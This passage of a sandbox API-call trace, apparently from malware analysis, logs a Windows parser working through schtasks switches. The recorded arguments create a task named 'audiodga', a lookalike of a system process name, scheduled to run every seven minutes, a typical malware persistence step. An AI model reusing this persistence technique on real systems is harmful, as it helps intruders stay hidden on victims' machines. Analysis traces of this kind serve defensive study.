_BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.546] lstrlenW (lpString="|create|") returned 8 [0071.546] lstrlenW (lpString="|tn|") returned 4 [0071.546] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0071.546] SetLastError (dwErrCode=0x490) [0071.546] lstrlenW (lpString="?") returned 1 [0071.546] lstrlenW (lpString="?") returned 1 [0071.546] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.546] lstrlenW (lpString="tn") returned 2 [0071.546] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.546] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.547] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.547] lstrlenW (lpString="|?|") returned 3 [0071.547] lstrlenW (lpString="|tn|") returned 4 [0071.547] SetLastError (dwErrCode=0x490) [0071.547] lstrlenW (lpString="s") returned 1 [0071.547] lstrlenW (lpString="s") returned 1 [0071.547] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.547] lstrlenW (lpString="tn") returned 2 [0071.547] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.547] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.547] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.547] lstrlenW (lpString="|s|") returned 3 [0071.547] lstrlenW (lpString="|tn|") returned 4 [0071.547] SetLastError (dwErrCode=0x490) [0071.547] lstrlenW (lpString="u") returned 1 [0071.547] lstrlenW (lpString="u") returned 1 [0071.547] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.547] lstrlenW (lpString="tn") returned 2 [0071.547] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.547] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.547] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.547] lstrlenW (lpString="|u|") returned 3 [0071.547] lstrlenW (lpString="|tn|") returned 4 [0071.547] SetLastError (dwErrCode=0x490) [0071.547] lstrlenW (lpString="p") returned 1 [0071.547] lstrlenW (lpString="p") returned 1 [0071.547] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.547] lstrlenW (lpString="tn") returned 2 [0071.548] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.548] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.548] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.548] lstrlenW (lpString="|p|") returned 3 [0071.548] lstrlenW (lpString="|tn|") returned 4 [0071.548] SetLastError (dwErrCode=0x490) [0071.548] lstrlenW (lpString="ru") returned 2 [0071.548] lstrlenW (lpString="ru") returned 2 [0071.548] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.548] lstrlenW (lpString="tn") returned 2 [0071.548] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.548] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.548] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.548] lstrlenW (lpString="|ru|") returned 4 [0071.548] lstrlenW (lpString="|tn|") returned 4 [0071.548] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0071.548] SetLastError (dwErrCode=0x490) [0071.548] lstrlenW (lpString="rp") returned 2 [0071.548] lstrlenW (lpString="rp") returned 2 [0071.548] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.548] lstrlenW (lpString="tn") returned 2 [0071.548] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.548] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.548] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.548] lstrlenW (lpString="|rp|") returned 4 [0071.548] lstrlenW (lpString="|tn|") returned 4 [0071.549] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0071.549] SetLastError (dwErrCode=0x490) [0071.549] lstrlenW (lpString="sc") returned 2 [0071.549] lstrlenW (lpString="sc") returned 2 [0071.549] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.549] lstrlenW (lpString="tn") returned 2 [0071.549] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.549] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.549] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.549] lstrlenW (lpString="|sc|") returned 4 [0071.549] lstrlenW (lpString="|tn|") returned 4 [0071.549] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0071.549] SetLastError (dwErrCode=0x490) [0071.549] lstrlenW (lpString="mo") returned 2 [0071.549] lstrlenW (lpString="mo") returned 2 [0071.549] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.549] lstrlenW (lpString="tn") returned 2 [0071.549] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.549] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.549] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.549] lstrlenW (lpString="|mo|") returned 4 [0071.552] lstrlenW (lpString="|tn|") returned 4 [0071.552] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0071.552] SetLastError (dwErrCode=0x490) [0071.552] lstrlenW (lpString="d") returned 1 [0071.552] lstrlenW (lpString="d") returned 1 [0071.552] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.552] lstrlenW (lpString="tn") returned 2 [0071.552] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.552] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|d|") returned 3 [0071.553] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.553] lstrlenW (lpString="|d|") returned 3 [0071.553] lstrlenW (lpString="|tn|") returned 4 [0071.553] SetLastError (dwErrCode=0x490) [0071.553] lstrlenW (lpString="m") returned 1 [0071.553] lstrlenW (lpString="m") returned 1 [0071.553] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.553] lstrlenW (lpString="tn") returned 2 [0071.553] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.553] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|m|") returned 3 [0071.553] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.553] lstrlenW (lpString="|m|") returned 3 [0071.553] lstrlenW (lpString="|tn|") returned 4 [0071.553] SetLastError (dwErrCode=0x490) [0071.553] lstrlenW (lpString="i") returned 1 [0071.553] lstrlenW (lpString="i") returned 1 [0071.553] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.553] lstrlenW (lpString="tn") returned 2 [0071.553] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.553] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|i|") returned 3 [0071.553] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.553] lstrlenW (lpString="|i|") returned 3 [0071.553] lstrlenW (lpString="|tn|") returned 4 [0071.553] SetLastError (dwErrCode=0x490) [0071.553] lstrlenW (lpString="tn") returned 2 [0071.553] lstrlenW (lpString="tn") returned 2 [0071.553] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.553] lstrlenW (lpString="tn") returned 2 [0071.554] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.554] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.554] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|tn|") returned 4 [0071.554] lstrlenW (lpString="|tn|") returned 4 [0071.554] lstrlenW (lpString="|tn|") returned 4 [0071.554] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0071.554] SetLastError (dwErrCode=0x0) [0071.554] SetLastError (dwErrCode=0x0) [0071.554] lstrlenW (lpString="audiodga") returned 8 [0071.554] lstrlenW (lpString="-/") returned 2 [0071.554] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0071.554] SetLastError (dwErrCode=0x490) [0071.554] SetLastError (dwErrCode=0x490) [0071.554] SetLastError (dwErrCode=0x0) [0071.554] lstrlenW (lpString="audiodga") returned 8 [0071.554] StrChrIW (lpStart="audiodga", wMatch=0x3a) returned 0x0 [0071.554] SetLastError (dwErrCode=0x490) [0071.554] SetLastError (dwErrCode=0x0) [0071.554] lstrlenW (lpString="audiodga") returned 8 [0071.554] SetLastError (dwErrCode=0x0) [0071.554] SetLastError (dwErrCode=0x0) [0071.554] lstrlenW (lpString="/sc") returned 3 [0071.554] lstrlenW (lpString="-/") returned 2 [0071.554] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.554] lstrlenW (lpString="create") returned 6 [0071.554] lstrlenW (lpString="create") returned 6 [0071.554] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.554] lstrlenW (lpString="sc") returned 2 [0071.554] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.555] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.555] lstrlenW (lpString="|create|") returned 8 [0071.555] lstrlenW (lpString="|sc|") returned 4 [0071.555] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0071.555] SetLastError (dwErrCode=0x490) [0071.555] lstrlenW (lpString="?") returned 1 [0071.555] lstrlenW (lpString="?") returned 1 [0071.555] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] lstrlenW (lpString="sc") returned 2 [0071.555] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.555] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.555] lstrlenW (lpString="|?|") returned 3 [0071.555] lstrlenW (lpString="|sc|") returned 4 [0071.555] SetLastError (dwErrCode=0x490) [0071.555] lstrlenW (lpString="s") returned 1 [0071.555] lstrlenW (lpString="s") returned 1 [0071.555] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] lstrlenW (lpString="sc") returned 2 [0071.555] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.555] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.555] lstrlenW (lpString="|s|") returned 3 [0071.555] lstrlenW (lpString="|sc|") returned 4 [0071.555] SetLastError (dwErrCode=0x490) [0071.555] lstrlenW (lpString="u") returned 1 [0071.555] lstrlenW (lpString="u") returned 1 [0071.555] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.555] lstrlenW (lpString="sc") returned 2 [0071.555] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.556] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.556] lstrlenW (lpString="|u|") returned 3 [0071.556] lstrlenW (lpString="|sc|") returned 4 [0071.556] SetLastError (dwErrCode=0x490) [0071.556] lstrlenW (lpString="p") returned 1 [0071.556] lstrlenW (lpString="p") returned 1 [0071.556] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] lstrlenW (lpString="sc") returned 2 [0071.556] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.556] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.556] lstrlenW (lpString="|p|") returned 3 [0071.556] lstrlenW (lpString="|sc|") returned 4 [0071.556] SetLastError (dwErrCode=0x490) [0071.556] lstrlenW (lpString="ru") returned 2 [0071.556] lstrlenW (lpString="ru") returned 2 [0071.556] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] lstrlenW (lpString="sc") returned 2 [0071.556] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.556] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.556] lstrlenW (lpString="|ru|") returned 4 [0071.556] lstrlenW (lpString="|sc|") returned 4 [0071.556] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0071.556] SetLastError (dwErrCode=0x490) [0071.556] lstrlenW (lpString="rp") returned 2 [0071.556] lstrlenW (lpString="rp") returned 2 [0071.556] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.556] lstrlenW (lpString="sc") returned 2 [0071.557] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.557] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.557] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.557] lstrlenW (lpString="|rp|") returned 4 [0071.557] lstrlenW (lpString="|sc|") returned 4 [0071.557] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0071.557] SetLastError (dwErrCode=0x490) [0071.557] lstrlenW (lpString="sc") returned 2 [0071.557] lstrlenW (lpString="sc") returned 2 [0071.557] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.557] lstrlenW (lpString="sc") returned 2 [0071.557] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.557] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.557] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.557] lstrlenW (lpString="|sc|") returned 4 [0071.557] lstrlenW (lpString="|sc|") returned 4 [0071.557] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0071.557] SetLastError (dwErrCode=0x0) [0071.557] SetLastError (dwErrCode=0x0) [0071.557] lstrlenW (lpString="MINUTE") returned 6 [0071.557] lstrlenW (lpString="-/") returned 2 [0071.557] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0071.557] SetLastError (dwErrCode=0x490) [0071.557] SetLastError (dwErrCode=0x490) [0071.557] SetLastError (dwErrCode=0x0) [0071.557] lstrlenW (lpString="MINUTE") returned 6 [0071.557] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0071.557] SetLastError (dwErrCode=0x490) [0071.557] SetLastError (dwErrCode=0x0) [0071.557] GetProcessHeap () returned 0x1e0000 [0071.557] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd660 [0071.557] _memicmp (_Buf1=0x1fd660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.557] lstrlenW (lpString="MINUTE") returned 6 [0071.558] GetProcessHeap () returned 0x1e0000 [0071.558] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fd680 [0071.558] lstrlenW (lpString="MINUTE") returned 6 [0071.558] lstrlenW (lpString=" \x09") returned 2 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0071.558] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0071.558] GetLastError () returned 0x0 [0071.558] lstrlenW (lpString="MINUTE") returned 6 [0071.558] lstrlenW (lpString="MINUTE") returned 6 [0071.558] SetLastError (dwErrCode=0x0) [0071.558] SetLastError (dwErrCode=0x0) [0071.558] lstrlenW (lpString="/mo") returned 3 [0071.558] lstrlenW (lpString="-/") returned 2 [0071.558] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.558] lstrlenW (lpString="create") returned 6 [0071.558] lstrlenW (lpString="create") returned 6 [0071.558] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.558] lstrlenW (lpString="mo") returned 2 [0071.558] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.558] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|create|") returned 8 [0071.558] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.558] lstrlenW (lpString="|create|") returned 8 [0071.558] lstrlenW (lpString="|mo|") returned 4 [0071.558] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0071.558] SetLastError (dwErrCode=0x490) [0071.558] lstrlenW (lpString="?") returned 1 [0071.559] lstrlenW (lpString="?") returned 1 [0071.559] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] lstrlenW (lpString="mo") returned 2 [0071.559] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|?|") returned 3 [0071.559] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.559] lstrlenW (lpString="|?|") returned 3 [0071.559] lstrlenW (lpString="|mo|") returned 4 [0071.559] SetLastError (dwErrCode=0x490) [0071.559] lstrlenW (lpString="s") returned 1 [0071.559] lstrlenW (lpString="s") returned 1 [0071.559] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] lstrlenW (lpString="mo") returned 2 [0071.559] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|s|") returned 3 [0071.559] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.559] lstrlenW (lpString="|s|") returned 3 [0071.559] lstrlenW (lpString="|mo|") returned 4 [0071.559] SetLastError (dwErrCode=0x490) [0071.559] lstrlenW (lpString="u") returned 1 [0071.559] lstrlenW (lpString="u") returned 1 [0071.559] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] lstrlenW (lpString="mo") returned 2 [0071.559] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.559] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|u|") returned 3 [0071.559] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.559] lstrlenW (lpString="|u|") returned 3 [0071.559] lstrlenW (lpString="|mo|") returned 4 [0071.559] SetLastError (dwErrCode=0x490) [0071.560] lstrlenW (lpString="p") returned 1 [0071.560] lstrlenW (lpString="p") returned 1 [0071.560] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] lstrlenW (lpString="mo") returned 2 [0071.560] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|p|") returned 3 [0071.560] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.560] lstrlenW (lpString="|p|") returned 3 [0071.560] lstrlenW (lpString="|mo|") returned 4 [0071.560] SetLastError (dwErrCode=0x490) [0071.560] lstrlenW (lpString="ru") returned 2 [0071.560] lstrlenW (lpString="ru") returned 2 [0071.560] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] lstrlenW (lpString="mo") returned 2 [0071.560] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|ru|") returned 4 [0071.560] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.560] lstrlenW (lpString="|ru|") returned 4 [0071.560] lstrlenW (lpString="|mo|") returned 4 [0071.560] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0071.560] SetLastError (dwErrCode=0x490) [0071.560] lstrlenW (lpString="rp") returned 2 [0071.560] lstrlenW (lpString="rp") returned 2 [0071.560] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] lstrlenW (lpString="mo") returned 2 [0071.560] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.560] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|rp|") returned 4 [0071.560] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.560] lstrlenW (lpString="|rp|") returned 4 [0071.560] lstrlenW (lpString="|mo|") returned 4 [0071.561] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0071.561] SetLastError (dwErrCode=0x490) [0071.561] lstrlenW (lpString="sc") returned 2 [0071.561] lstrlenW (lpString="sc") returned 2 [0071.561] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.561] lstrlenW (lpString="mo") returned 2 [0071.561] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.561] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|sc|") returned 4 [0071.561] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.561] lstrlenW (lpString="|sc|") returned 4 [0071.561] lstrlenW (lpString="|mo|") returned 4 [0071.561] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0071.561] SetLastError (dwErrCode=0x490) [0071.561] lstrlenW (lpString="mo") returned 2 [0071.561] lstrlenW (lpString="mo") returned 2 [0071.561] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.561] lstrlenW (lpString="mo") returned 2 [0071.561] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.561] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.561] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc2e8 | out: _Buffer="|mo|") returned 4 [0071.561] lstrlenW (lpString="|mo|") returned 4 [0071.561] lstrlenW (lpString="|mo|") returned 4 [0071.561] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0071.561] SetLastError (dwErrCode=0x0) [0071.561] SetLastError (dwErrCode=0x0) [0071.561] lstrlenW (lpString="7") returned 1 [0071.561] SetLastError (dwErrCode=0x490) [0071.561] SetLastError (dwErrCode=0x0) [0071.561] lstrlenW (lpString="7") returned 1 [0071.561] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0071.561] SetLastError (dwErrCode=0x490) [0071.562] SetLastError (dwErrCode=0x0) [0071.562] _memicmp (_Buf1=0x1fd660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.562] lstrlenW (lpString="7") returned 1 [0071.562] lstrlenW (lpString="7") returned 1 [0071.562] lstrlenW (lpString=" \x09") returned 2 [0071.562] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0071.562] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0071.562] GetLastError () returned 0x0 